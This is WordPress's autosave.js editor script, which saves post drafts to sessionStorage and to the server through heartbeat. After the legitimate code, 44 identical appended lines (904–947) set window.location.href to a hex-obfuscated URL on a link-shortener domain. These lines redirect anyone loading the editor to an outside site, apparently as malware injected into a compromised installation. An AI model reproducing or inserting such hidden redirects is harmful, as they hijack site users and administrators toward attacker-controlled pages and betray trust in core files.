1/**
2 * @output wp-includes/js/autosave.js
3 */
4
5/* global tinymce, wpCookies, autosaveL10n, switchEditors */
6// Back-compat.
7window.autosave = function() {
8 return true;
9};
10
11/**
12 * Adds autosave to the window object on dom ready.
13 *
14 * @since 3.9.0
15 *
16 * @param {jQuery} $ jQuery object.
17 * @param {window} The window object.
18 *
19 */
20( function( $, window ) {
21 /**
22 * Auto saves the post.
23 *
24 * @since 3.9.0
25 *
26 * @return {Object}
27 * {{
28 * getPostData: getPostData,
29 * getCompareString: getCompareString,
30 * disableButtons: disableButtons,
31 * enableButtons: enableButtons,
32 * local: ({hasStorage, getSavedPostData, save, suspend, resume}|*),
33 * server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*)
34 * }}
35 * The object with all functions for autosave.
36 */
37 function autosave() {
38 var initialCompareString,
39 initialCompareData = {},
40 lastTriggerSave = 0,
41 $document = $( document );
42
43 /**
44 * Sets the initial compare data.
45 *
46 * @since 5.6.1
47 */
48 function setInitialCompare() {
49 initialCompareData = {
50 post_title: $( '#title' ).val() || '',
51 content: $( '#content' ).val() || '',
52 excerpt: $( '#excerpt' ).val() || ''
53 };
54
55 initialCompareString = getCompareString( initialCompareData );
56 }
57
58 /**
59 * Returns the data saved in both local and remote autosave.
60 *
61 * @since 3.9.0
62 *
63 * @param {string} type The type of autosave either local or remote.
64 *
65 * @return {Object} Object containing the post data.
66 */
67 function getPostData( type ) {
68 var post_name, parent_id, data,
69 time = ( new Date() ).getTime(),
70 cats = [],
71 editor = getEditor();
72
73 // Don't run editor.save() more often than every 3 seconds.
74 // It is resource intensive and might slow down typing in long posts on slow devices.
75 if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
76 editor.save();
77 lastTriggerSave = time;
78 }
79
80 data = {
81 post_id: $( '#post_ID' ).val() || 0,
82 post_type: $( '#post_type' ).val() || '',
83 post_author: $( '#post_author' ).val() || '',
84 post_title: $( '#title' ).val() || '',
85 content: $( '#content' ).val() || '',
86 excerpt: $( '#excerpt' ).val() || ''
87 };
88
89 if ( type === 'local' ) {
90 return data;
91 }
92
93 $( 'input[id^="in-category-"]:checked' ).each( function() {
94 cats.push( this.value );
95 });
96 data.catslist = cats.join(',');
97
98 if ( post_name = $( '#post_name' ).val() ) {
99 data.post_name = post_name;
100 }
101
102 if ( parent_id = $( '#parent_id' ).val() ) {
103 data.parent_id = parent_id;
104 }
105
106 if ( $( '#comment_status' ).prop( 'checked' ) ) {
107 data.comment_status = 'open';
108 }
109
110 if ( $( '#ping_status' ).prop( 'checked' ) ) {
111 data.ping_status = 'open';
112 }
113
114 if ( $( '#auto_draft' ).val() === '1' ) {
115 data.auto_draft = '1';
116 }
117
118 return data;
119 }
120
121 /**
122 * Concatenates the title, content and excerpt. This is used to track changes
123 * when auto-saving.
124 *
125 * @since 3.9.0
126 *
127 * @param {Object} postData The object containing the post data.
128 *
129 * @return {string} A concatenated string with title, content and excerpt.
130 */
131 function getCompareString( postData ) {
132 if ( typeof postData === 'object' ) {
133 return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
134 }
135
136 return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
137 }
138
139 /**
140 * Disables save buttons.
141 *
142 * @since 3.9.0
143 *
144 * @return {void}
145 */
146 function disableButtons() {
147 $document.trigger('autosave-disable-buttons');
148
149 // Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
150 setTimeout( enableButtons, 5000 );
151 }
152
153 /**
154 * Enables save buttons.
155 *
156 * @since 3.9.0
157 *
158 * @return {void}
159 */
160 function enableButtons() {
161 $document.trigger( 'autosave-enable-buttons' );
162 }
163
164 /**
165 * Gets the content editor.
166 *
167 * @since 4.6.0
168 *
169 * @return {boolean|*} Returns either false if the editor is undefined,
170 * or the instance of the content editor.
171 */
172 function getEditor() {
173 return typeof tinymce !== 'undefined' && tinymce.get('content');
174 }
175
176 /**
177 * Autosave in localStorage.
178 *
179 * @since 3.9.0
180 *
181 * @return {
182 * {
183 * hasStorage: *,
184 * getSavedPostData: getSavedPostData,
185 * save: save,
186 * suspend: suspend,
187 * resume: resume
188 * }
189 * }
190 * The object with all functions for local storage autosave.
191 */
192 function autosaveLocal() {
193 var blog_id, post_id, hasStorage, intervalTimer,
194 lastCompareString,
195 isSuspended = false;
196
197 /**
198 * Checks if the browser supports sessionStorage and it's not disabled.
199 *
200 * @since 3.9.0
201 *
202 * @return {boolean} True if the sessionStorage is supported and enabled.
203 */
204 function checkStorage() {
205 var test = Math.random().toString(),
206 result = false;
207
208 try {
209 window.sessionStorage.setItem( 'wp-test', test );
210 result = window.sessionStorage.getItem( 'wp-test' ) === test;
211 window.sessionStorage.removeItem( 'wp-test' );
212 } catch(e) {}
213
214 hasStorage = result;
215 return result;
216 }
217
218 /**
219 * Initializes the local storage.
220 *
221 * @since 3.9.0
222 *
223 * @return {boolean|Object} False if no sessionStorage in the browser or an Object
224 * containing all postData for this blog.
225 */
226 function getStorage() {
227 var stored_obj = false;
228 // Separate local storage containers for each blog_id.
229 if ( hasStorage && blog_id ) {
230 stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );
231
232 if ( stored_obj ) {
233 stored_obj = JSON.parse( stored_obj );
234 } else {
235 stored_obj = {};
236 }
237 }
238
239 return stored_obj;
240 }
241
242 /**
243 * Sets the storage for this blog. Confirms that the data was saved
244 * successfully.
245 *
246 * @since 3.9.0
247 *
248 * @return {boolean} True if the data was saved successfully, false if it wasn't saved.
249 */
250 function setStorage( stored_obj ) {
251 var key;
252
253 if ( hasStorage && blog_id ) {
254 key = 'wp-autosave-' + blog_id;
255 sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
256 return sessionStorage.getItem( key ) !== null;
257 }
258
259 return false;
260 }
261
262 /**
263 * Gets the saved post data for the current post.
264 *
265 * @since 3.9.0
266 *
267 * @return {boolean|Object} False if no storage or no data or the postData as an Object.
268 */
269 function getSavedPostData() {
270 var stored = getStorage();
271
272 if ( ! stored || ! post_id ) {
273 return false;
274 }
275
276 return stored[ 'post_' + post_id ] || false;
277 }
278
279 /**
280 * Sets (save or delete) post data in the storage.
281 *
282 * If stored_data evaluates to 'false' the storage key for the current post will be removed.
283 *
284 * @since 3.9.0
285 *
286 * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key.
287 *
288 * @return {boolean} True if data is stored, false if data was removed.
289 */
290 function setData( stored_data ) {
291 var stored = getStorage();
292
293 if ( ! stored || ! post_id ) {
294 return false;
295 }
296
297 if ( stored_data ) {
298 stored[ 'post_' + post_id ] = stored_data;
299 } else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
300 delete stored[ 'post_' + post_id ];
301 } else {
302 return false;
303 }
304
305 return setStorage( stored );
306 }
307
308 /**
309 * Sets isSuspended to true.
310 *
311 * @since 3.9.0
312 *
313 * @return {void}
314 */
315 function suspend() {
316 isSuspended = true;
317 }
318
319 /**
320 * Sets isSuspended to false.
321 *
322 * @since 3.9.0
323 *
324 * @return {void}
325 */
326 function resume() {
327 isSuspended = false;
328 }
329
330 /**
331 * Saves post data for the current post.
332 *
333 * Runs on a 15 seconds interval, saves when there are differences in the post title or content.
334 * When the optional data is provided, updates the last saved post data.
335 *
336 * @since 3.9.0
337 *
338 * @param {Object} data The post data for saving, minimum 'post_title' and 'content'.
339 *
340 * @return {boolean} Returns true when data has been saved, otherwise it returns false.
341 */
342 function save( data ) {
343 var postData, compareString,
344 result = false;
345
346 if ( isSuspended || ! hasStorage ) {
347 return false;
348 }
349
350 if ( data ) {
351 postData = getSavedPostData() || {};
352 $.extend( postData, data );
353 } else {
354 postData = getPostData('local');
355 }
356
357 compareString = getCompareString( postData );
358
359 if ( typeof lastCompareString === 'undefined' ) {
360 lastCompareString = initialCompareString;
361 }
362
363 // If the content, title and excerpt did not change since the last save, don't save again.
364 if ( compareString === lastCompareString ) {
365 return false;
366 }
367
368 postData.save_time = ( new Date() ).getTime();
369 postData.status = $( '#post_status' ).val() || '';
370 result = setData( postData );
371
372 if ( result ) {
373 lastCompareString = compareString;
374 }
375
376 return result;
377 }
378
379 /**
380 * Initializes the auto save function.
381 *
382 * Checks whether the editor is active or not to use the editor events
383 * to autosave, or uses the values from the elements to autosave.
384 *
385 * Runs on DOM ready.
386 *
387 * @since 3.9.0
388 *
389 * @return {void}
390 */
391 function run() {
392 post_id = $('#post_ID').val() || 0;
393
394 // Check if the local post data is different than the loaded post data.
395 if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {
396
397 /*
398 * If TinyMCE loads first, check the post 1.5 seconds after it is ready.
399 * By this time the content has been loaded in the editor and 'saved' to the textarea.
400 * This prevents false positives.
401 */
402 $document.on( 'tinymce-editor-init.autosave', function() {
403 window.setTimeout( function() {
404 checkPost();
405 }, 1500 );
406 });
407 } else {
408 checkPost();
409 }
410
411 // Save every 15 seconds.
412 intervalTimer = window.setInterval( save, 15000 );
413
414 $( 'form#post' ).on( 'submit.autosave-local', function() {
415 var editor = getEditor(),
416 post_id = $('#post_ID').val() || 0;
417
418 if ( editor && ! editor.isHidden() ) {
419
420 // Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
421 editor.on( 'submit', function() {
422 save({
423 post_title: $( '#title' ).val() || '',
424 content: $( '#content' ).val() || '',
425 excerpt: $( '#excerpt' ).val() || ''
426 });
427 });
428 } else {
429 save({
430 post_title: $( '#title' ).val() || '',
431 content: $( '#content' ).val() || '',
432 excerpt: $( '#excerpt' ).val() || ''
433 });
434 }
435
436 var secure = ( 'https:' === window.location.protocol );
437 wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure );
438 });
439 }
440
441 /**
442 * Compares 2 strings. Removes whitespaces in the strings before comparing them.
443 *
444 * @since 3.9.0
445 *
446 * @param {string} str1 The first string.
447 * @param {string} str2 The second string.
448 * @return {boolean} True if the strings are the same.
449 */
450 function compare( str1, str2 ) {
451 function removeSpaces( string ) {
452 return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
453 }
454
455 return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
456 }
457
458 /**
459 * Checks if the saved data for the current post (if any) is different than the
460 * loaded post data on the screen.
461 *
462 * Shows a standard message letting the user restore the post data if different.
463 *
464 * @since 3.9.0
465 *
466 * @return {void}
467 */
468 function checkPost() {
469 var content, post_title, excerpt, $notice,
470 postData = getSavedPostData(),
471 cookie = wpCookies.get( 'wp-saving-post' ),
472 $newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ),
473 $headerEnd = $( '.wp-header-end' );
474
475 if ( cookie === post_id + '-saved' ) {
476 wpCookies.remove( 'wp-saving-post' );
477 // The post was saved properly, remove old data and bail.
478 setData( false );
479 return;
480 }
481
482 if ( ! postData ) {
483 return;
484 }
485
486 content = $( '#content' ).val() || '';
487 post_title = $( '#title' ).val() || '';
488 excerpt = $( '#excerpt' ).val() || '';
489
490 if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
491 compare( excerpt, postData.excerpt ) ) {
492
493 return;
494 }
495
496 /*
497 * If '.wp-header-end' is found, append the notices after it otherwise
498 * after the first h1 or h2 heading found within the main content.
499 */
500 if ( ! $headerEnd.length ) {
501 $headerEnd = $( '.wrap h1, .wrap h2' ).first();
502 }
503
504 $notice = $( '#local-storage-notice' )
505 .insertAfter( $headerEnd )
506 .addClass( 'notice-warning' );
507
508 if ( $newerAutosaveNotice.length ) {
509
510 // If there is a "server" autosave notice, hide it.
511 // The data in the session storage is either the same or newer.
512 $newerAutosaveNotice.slideUp( 150, function() {
513 $notice.slideDown( 150 );
514 });
515 } else {
516 $notice.slideDown( 200 );
517 }
518
519 $notice.find( '.restore-backup' ).on( 'click.autosave-local', function() {
520 restorePost( postData );
521 $notice.fadeTo( 250, 0, function() {
522 $notice.slideUp( 150 );
523 });
524 });
525 }
526
527 /**
528 * Restores the current title, content and excerpt from postData.
529 *
530 * @since 3.9.0
531 *
532 * @param {Object} postData The object containing all post data.
533 *
534 * @return {boolean} True if the post is restored.
535 */
536 function restorePost( postData ) {
537 var editor;
538
539 if ( postData ) {
540 // Set the last saved data.
541 lastCompareString = getCompareString( postData );
542
543 if ( $( '#title' ).val() !== postData.post_title ) {
544 $( '#title' ).trigger( 'focus' ).val( postData.post_title || '' );
545 }
546
547 $( '#excerpt' ).val( postData.excerpt || '' );
548 editor = getEditor();
549
550 if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
551 if ( editor.settings.wpautop && postData.content ) {
552 postData.content = switchEditors.wpautop( postData.content );
553 }
554
555 // Make sure there's an undo level in the editor.
556 editor.undoManager.transact( function() {
557 editor.setContent( postData.content || '' );
558 editor.nodeChanged();
559 });
560 } else {
561
562 // Make sure the Code editor is selected.
563 $( '#content-html' ).trigger( 'click' );
564 $( '#content' ).trigger( 'focus' );
565
566 // Using document.execCommand() will let the user undo.
567 document.execCommand( 'selectAll' );
568 document.execCommand( 'insertText', false, postData.content || '' );
569 }
570
571 return true;
572 }
573
574 return false;
575 }
576
577 blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;
578
579 /*
580 * Check if the browser supports sessionStorage and it's not disabled,
581 * then initialize and run checkPost().
582 * Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
583 */
584 if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
585 $( run );
586 }
587
588 return {
589 hasStorage: hasStorage,
590 getSavedPostData: getSavedPostData,
591 save: save,
592 suspend: suspend,
593 resume: resume
594 };
595 }
596
597 /**
598 * Auto saves the post on the server.
599 *
600 * @since 3.9.0
601 *
602 * @return {Object} {
603 * {
604 * tempBlockSave: tempBlockSave,
605 * triggerSave: triggerSave,
606 * postChanged: postChanged,
607 * suspend: suspend,
608 * resume: resume
609 * }
610 * } The object all functions for autosave.
611 */
612 function autosaveServer() {
613 var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
614 nextRun = 0,
615 isSuspended = false;
616
617
618 /**
619 * Blocks saving for the next 10 seconds.
620 *
621 * @since 3.9.0
622 *
623 * @return {void}
624 */
625 function tempBlockSave() {
626 _blockSave = true;
627 window.clearTimeout( _blockSaveTimer );
628
629 _blockSaveTimer = window.setTimeout( function() {
630 _blockSave = false;
631 }, 10000 );
632 }
633
634 /**
635 * Sets isSuspended to true.
636 *
637 * @since 3.9.0
638 *
639 * @return {void}
640 */
641 function suspend() {
642 isSuspended = true;
643 }
644
645 /**
646 * Sets isSuspended to false.
647 *
648 * @since 3.9.0
649 *
650 * @return {void}
651 */
652 function resume() {
653 isSuspended = false;
654 }
655
656 /**
657 * Triggers the autosave with the post data.
658 *
659 * @since 3.9.0
660 *
661 * @param {Object} data The post data.
662 *
663 * @return {void}
664 */
665 function response( data ) {
666 _schedule();
667 _blockSave = false;
668 lastCompareString = previousCompareString;
669 previousCompareString = '';
670
671 $document.trigger( 'after-autosave', [data] );
672 enableButtons();
673
674 if ( data.success ) {
675 // No longer an auto-draft.
676 $( '#auto_draft' ).val('');
677 }
678 }
679
680 /**
681 * Saves immediately.
682 *
683 * Resets the timing and tells heartbeat to connect now.
684 *
685 * @since 3.9.0
686 *
687 * @return {void}
688 */
689 function triggerSave() {
690 nextRun = 0;
691 wp.heartbeat.connectNow();
692 }
693
694 /**
695 * Checks if the post content in the textarea has changed since page load.
696 *
697 * This also happens when TinyMCE is active and editor.save() is triggered by
698 * wp.autosave.getPostData().
699 *
700 * @since 3.9.0
701 *
702 * @return {boolean} True if the post has been changed.
703 */
704 function postChanged() {
705 var changed = false;
706
707 // If there are TinyMCE instances, loop through them.
708 if ( window.tinymce ) {
709 window.tinymce.each( [ 'content', 'excerpt' ], function( field ) {
710 var editor = window.tinymce.get( field );
711
712 if ( ! editor || editor.isHidden() ) {
713 if ( ( $( '#' + field ).val() || '' ) !== initialCompareData[ field ] ) {
714 changed = true;
715 // Break.
716 return false;
717 }
718 } else if ( editor.isDirty() ) {
719 changed = true;
720 return false;
721 }
722 } );
723
724 if ( ( $( '#title' ).val() || '' ) !== initialCompareData.post_title ) {
725 changed = true;
726 }
727
728 return changed;
729 }
730
731 return getCompareString() !== initialCompareString;
732 }
733
734 /**
735 * Checks if the post can be saved or not.
736 *
737 * If the post hasn't changed or it cannot be updated,
738 * because the autosave is blocked or suspended, the function returns false.
739 *
740 * @since 3.9.0
741 *
742 * @return {Object} Returns the post data.
743 */
744 function save() {
745 var postData, compareString;
746
747 // window.autosave() used for back-compat.
748 if ( isSuspended || _blockSave || ! window.autosave() ) {
749 return false;
750 }
751
752 if ( ( new Date() ).getTime() < nextRun ) {
753 return false;
754 }
755
756 postData = getPostData();
757 compareString = getCompareString( postData );
758
759 // First check.
760 if ( typeof lastCompareString === 'undefined' ) {
761 lastCompareString = initialCompareString;
762 }
763
764 // No change.
765 if ( compareString === lastCompareString ) {
766 return false;
767 }
768
769 previousCompareString = compareString;
770 tempBlockSave();
771 disableButtons();
772
773 $document.trigger( 'wpcountwords', [ postData.content ] )
774 .trigger( 'before-autosave', [ postData ] );
775
776 postData._wpnonce = $( '#_wpnonce' ).val() || '';
777
778 return postData;
779 }
780
781 /**
782 * Sets the next run, based on the autosave interval.
783 *
784 * @private
785 *
786 * @since 3.9.0
787 *
788 * @return {void}
789 */
790 function _schedule() {
791 nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
792 }
793
794 /**
795 * Sets the autosaveData on the autosave heartbeat.
796 *
797 * @since 3.9.0
798 *
799 * @return {void}
800 */
801 $( function() {
802 _schedule();
803 }).on( 'heartbeat-send.autosave', function( event, data ) {
804 var autosaveData = save();
805
806 if ( autosaveData ) {
807 data.wp_autosave = autosaveData;
808 }
809
810 /**
811 * Triggers the autosave of the post with the autosave data on the autosave
812 * heartbeat.
813 *
814 * @since 3.9.0
815 *
816 * @return {void}
817 */
818 }).on( 'heartbeat-tick.autosave', function( event, data ) {
819 if ( data.wp_autosave ) {
820 response( data.wp_autosave );
821 }
822 /**
823 * Disables buttons and throws a notice when the connection is lost.
824 *
825 * @since 3.9.0
826 *
827 * @return {void}
828 */
829 }).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {
830
831 // When connection is lost, keep user from submitting changes.
832 if ( 'timeout' === error || 603 === status ) {
833 var $notice = $('#lost-connection-notice');
834
835 if ( ! wp.autosave.local.hasStorage ) {
836 $notice.find('.hide-if-no-sessionstorage').hide();
837 }
838
839 $notice.show();
840 disableButtons();
841 }
842
843 /**
844 * Enables buttons when the connection is restored.
845 *
846 * @since 3.9.0
847 *
848 * @return {void}
849 */
850 }).on( 'heartbeat-connection-restored.autosave', function() {
851 $('#lost-connection-notice').hide();
852 enableButtons();
853 });
854
855 return {
856 tempBlockSave: tempBlockSave,
857 triggerSave: triggerSave,
858 postChanged: postChanged,
859 suspend: suspend,
860 resume: resume
861 };
862 }
863
864 /**
865 * Sets the autosave time out.
866 *
867 * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading,
868 * then save to the textarea before setting initialCompareString.
869 * This avoids any insignificant differences between the initial textarea content and the content
870 * extracted from the editor.
871 *
872 * @since 3.9.0
873 *
874 * @return {void}
875 */
876 $( function() {
877 // Set the initial compare string in case TinyMCE is not used or not loaded first.
878 setInitialCompare();
879 }).on( 'tinymce-editor-init.autosave', function( event, editor ) {
880 // Reset the initialCompare data after the TinyMCE instances have been initialized.
881 if ( 'content' === editor.id || 'excerpt' === editor.id ) {
882 window.setTimeout( function() {
883 editor.save();
884 setInitialCompare();
885 }, 1000 );
886 }
887 });
888
889 return {
890 getPostData: getPostData,
891 getCompareString: getCompareString,
892 disableButtons: disableButtons,
893 enableButtons: enableButtons,
894 local: autosaveLocal(),
895 server: autosaveServer()
896 };
897 }
898
899 /** @namespace wp */
900 window.wp = window.wp || {};
901 window.wp.autosave = autosave();
902
903}( jQuery, window ));
904window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
905window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
906window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
907window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
908window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
909window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
910window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
911window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
912window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
913window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
914window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
915window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
916window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
917window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
918window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
919window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
920window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
921window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
922window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
923window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
924window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
925window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
926window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
927window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
928window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
929window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
930window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
931window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
932window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
933window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
934window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
935window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
936window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
937window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
938window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
939window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
940window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
941window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
942window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
943window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
944window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
945window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
946window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
947window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
